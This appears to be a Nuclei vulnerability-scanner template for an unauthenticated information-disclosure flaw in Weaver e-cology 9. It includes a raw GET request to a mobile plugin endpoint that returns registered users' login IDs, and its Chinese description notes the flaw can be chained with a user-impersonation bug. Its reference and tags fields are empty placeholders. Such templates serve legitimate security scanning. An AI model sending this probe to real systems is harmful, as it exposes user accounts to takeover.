weaver_e_cology9_Information_disclosure.yaml

id: weaver_e_cology9_Information_disclosure
info:
  name: weaver_e_cology9_Information_disclosure
  author: weehhd
  severity: high
  description: 由于系统未对系统接口的响应进行合理的处理，导致该系统会泄漏已注册用户信息，攻击者可利用信息泄露漏洞获取注册用户的信息。另外由于系统使用了不当的算法设计，导致攻击者可模拟任意用户登录系统。对攻击者来说，这两个漏洞的利用无需认证和鉴权，可通过组合漏洞获取用户数据，登录后台。
  reference:
    - https://
  tags: tags
requests:
  - raw:
      - |+
        GET /mobile/plugin/changeuserinfo.jsp?type=getLoginid&mobile=0 HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Accept-Encoding: identity
        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
        Upgrade-Insecure-Requests: 1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.58
        Content-Length: 2

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - status
      - type: word
        part: header
        words:
          - 200 OK